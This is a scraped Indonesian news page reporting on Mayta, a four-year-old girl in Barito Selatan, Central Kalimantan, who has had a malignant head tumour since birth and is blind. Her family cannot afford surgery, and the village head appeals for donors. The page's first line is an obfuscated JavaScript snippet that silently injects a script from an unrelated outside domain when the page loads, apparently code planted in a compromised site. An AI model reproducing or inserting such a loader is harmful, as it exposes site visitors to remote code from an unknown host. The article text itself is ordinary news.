(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Mayta Anak Petani yang Sejak Lahir Menderita Tumor Ganas di Kepala


BUNTOK, Di sebuah gubuk kayu yang sangat sederhana tanpa memiliki dinding, tinggal seorang bocah perempuan bernama Mayta (4), dirinya menderita penyakit tumor ganas di bagian kepala sejak lahir.

Mayta diasuh oleh sang ibu bernama Oktariani, yang hanya bekerja sebagai seorang petani di Desa Ugang Sayu RT6 RW1 Kecamatan Gunung Bintang Awai (GBA), Kabupaten Barito Selatan (Barsel), Kalteng.

Mayta sejak lahir mengalami pembesaran benjolan di kepala, yang semakin hari semakin menderita karena semakin membesar hingga sekarang berumur empat tahun. Dirinya harus menderita penyakit tumor ganas tersebut, tanpa mendapatkan pengobatan maksimal, lantaran tidak memiliki biaya.

“Sang ibu mengasuh Mayta seorang diri, lantaran sudah bercerai dengan suaminya, hanya dibantu oleh sang nenek yang sudah tua,” kata Kepala Desa Ugang Sayu, Arbanu, kepada Kanalkalimantan.com, Selasa (4/6).

Arbanu mengungkapkan, Mayta pernah diobati lalu disarankan ke rumah sakit di Banjarmasin untuk dilakukan operasi, namun karena tidak mempunyai biaya hal tersebut tidak bisa dilakukan oleh keluarganya.

“Akibat tumor ganas yang semakin membesar tersebut, mata Mayta tidak bisa melihat alias mengalami kebutaan, karena syaraf mata terganggu oleh tumor tersebut,” tuturnya.

Ditambahkan olehnya bahwa dirinya saat ini sudah mengusahakan untuk membuat BPJS untuk Mayta. Namun, lantaran domisili keluarganya yang sudah lama tinggal di Desa Ugang Sayu belum diurus, hal tersebut terkendala dan harus dilengkapi terlebih dahulu.

“Saya sebagai Kades ikut prihatin dengan keadaan warga saya dan kami sudah berusaha membantu sebisa mungkin. Bagi siapa saja yang juga tergugah untuk membantu kesembuhan Mayta, silahkan hubungi nomor saya 0853 4818 1700, saya akan mengantar anda ke keluarga Mayta langsung,” ujar Arbanu. (digdo)

Reporter : Digdo
Editor : Bie

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.